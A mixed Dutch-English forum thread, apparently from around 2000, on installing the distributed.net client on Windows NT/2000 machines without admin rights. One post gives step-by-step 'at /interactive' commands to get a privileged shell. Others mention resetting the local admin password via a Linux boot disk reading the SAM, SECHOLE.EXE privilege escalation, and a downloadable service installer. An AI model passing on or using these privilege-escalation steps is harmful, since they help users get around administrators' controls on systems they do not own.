how-to: installing dnet on nt without admin rights

[Frenzy]

run "cmd"
run "net start"
check for "task scheduler"
is it there?
run "at TIME /interactive 'cmd' " (where TIME = current time + 1 minute)
wait 1 minute
run "taskmgr" in the commandwindow that just popped up
run "dnetc -install"

done...
this is an exploit btw which also works in 2000... Oh.. and keep this to yourselves

[PcDealer]

MooH!

Gaak meteen proberen.

[RubZie]

Exploit? I don't think so. If this works, your sysadmin is stupid I think :)<BLOCKQUOTE><font size=1 face=Verdana, Arial, Helvetica>quote:</font><HR>H:\>at 12:03 /interactive 'cmd'
Access is denied.[/quote]Or am I doing something very wrong?

[Frenzy]

stupid or not, it's still an exploit
ehm ? huh? sorry..

stom of niet, ut blijft een exploit.
Er staat ook niet voor niks dat je moet checken of de task scheduler draait.
zo ja dan werkt ut.

[MrCyber]

-> RuBZie
Grappig.. ik had op precies dezelfde tijd dat commando ingeklopt. Helaas ook dezelfde melding.

-> Frenzy
Task Scheduler draaide netjes hoor.
Het werkt dus mooi niet als de boel goed beveiligd is !

[RubZie]

En onderdeel van die beveiliging zou natuurlijk zijn dat taskscheduker uit staat, want dat heeft een user toch niet nodig. Dus dat lijkt me geen exploit...

[Frenzy]

jammer jammer.. dat jullie goede sysadmins hebben dan
Ik gelukkig dus niet
Het is dus wel een manier om je koeien te laten grazen....
Echter niet als je zoals in jullie geval de sysadmin heeft opgelet bij z'n MSCE NT cursus

[PcDealer]

Check hier eens:
http://gathering.tweakers.net/forum/list_messages/42807

[Qui-Gon]

Is het ook mogelijk om vanuit de win.ini of system.ini de client te starten (hidden)
daar heb ik namelijk wel rechten.
dat foefje hierboven werkt bij mij idd ook niet, en in de alluser dir heb ik ook geen rechten.

[Verwijderd]

En als dat hele run commando bij start weggehaald is en ook nergens anders een dos-prompt te vinden is.... Dan zal het zeker ook wel niet lukken...

[Krypt]

Tuurlijk wel..
Men openen de Explorer
Men gaan naar de WINNT\SYSTEM32 directory.
We klikken daar de CMD.EXE aan

Et voila; we zitten in de dosprompt..
evt een snelkop. naar maken.. werkt hiero perfect.

Het kan wel trouwens dat via policies de dosprompt is dichtgegooit.. maw. je kan helemaal geen dosprogramma's openen

[Krypt]

Misschien is ut wel hardstikke illi wat ik hiero zeg; maarja.. dan verwijderen de adjes deze post maar..

Er zijn programma's in omloop (heb er hier een op disk staan) dit het local admin password kunnen veranderen; bootdisk op Linux... leest de SAM uit en kan zo een accountwachtwoord veranderen.. local adminaccount wijzigen en dan de koe installeren...

Moet opzich werken..

[raptorix]

Voor mensen die admin/password weten voor sqlserver heb ik ook nog wel leuk script

[Chakotay]

Krytp-> Kzie geen emailadres/icq nr in je profile staan dus vraag ik het hier maar: Zou je mij ([e-mail] of 19832080) dat proggy kunnen toemeelen/icqen?

[Krypt]

Chakotay: Komt voor de bakker...

BTW.. Je kunt dus wel alleen de LOCAL user passwords veranderen..

Wat je ook kunt doen is het programmatjeL SECHOLE.EXE downloaden... maakt je huidige user lid van de locale admin group... Werkt helaas niet meer met SP4 en hoger..

Sjeck yar meel
(edit: ff wachten; laptop ging ff dood.. ff reanimeren )

[Frenzy]

beetje jammer dat we dan al op sp6a zitten he?!

p.s. wat vinden jullie van me nieuwe icon?

[garp]

Wat dacht je van een SMS-pakket? Errug handig om een ultrasnelle assimilatie uit te voeren. Als je het pakketje voor DPC wilt hebben moet je me ff mailen.

Grazen!!

Je kunt het ook downloaden van http://213.10.64.102/dnetntservice.EXE
(alleen NT, en bij de gratie van KPN-MxStream. Storingsvrij? Neeeeee...)

Het bericht helemaal bovenaan klopt bijna...je moet wel ff naar de goeie dir:

W:>dnetc -install
'dnetc' is not recognized as an internal or external command,
operable program or batch file.

W:>d:

D:>cd program files

D:Program Files>cd distributed.net

D:Program Filesdistributed.net>dnetc -install
The distributed.net client has been successfully installed as
an NT service and has been configured to start automatically.

D:Program Filesdistributed.net>


Dan doettie ut wel...

[Frenzy]

ook een beetje vreemd dat een dpc'er om precies dezelfde tijd op anandtech post:

http://forums.anandtech.com/messageview.cfm?catid=39&threadid=233436

met de vraag waarop hier het antwoord staat